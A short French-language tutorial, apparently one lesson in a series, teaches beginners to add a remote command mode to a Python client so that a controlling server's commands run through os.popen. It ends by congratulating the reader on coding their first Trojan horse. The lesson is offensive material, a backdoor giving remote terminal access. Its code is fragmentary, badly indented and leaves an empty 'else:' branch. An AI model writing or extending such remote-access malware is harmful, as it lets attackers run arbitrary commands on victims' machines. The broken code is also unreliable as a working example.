Cours 5 CDT Python

Le Serveur

Nous allons ensuite coder le serveur.

I. Inclure une condition cmd

Ensuite, en-dessous de la ligne 10 dans client ecrivez:

 cmd_mode = False

Puis ligne 16, ecrivez:

 if server_command == “cmdon”:

                  cmd_mode = True

                  client.send(“You now have terminal access!”.encode(‘utf-8’))

                  continue 

 if server_command == ‘cmdoff’:

                 cmd_mode = False

if  cmd_mode:

       os.popen(server_command)

 else:

 

II. Derniere importation et fonctionalite

En dessous de:

import threading

Ecrire:

import os

Si vous souhaitez ajoutez une fonctionalite, ecrire:

if server_command == “Votre nom de commande

Puis sur la ligne du dessous, ecrivez votre code Python.

SUPER ! Vous avez reussit a coder votre premier cheval de Troie !!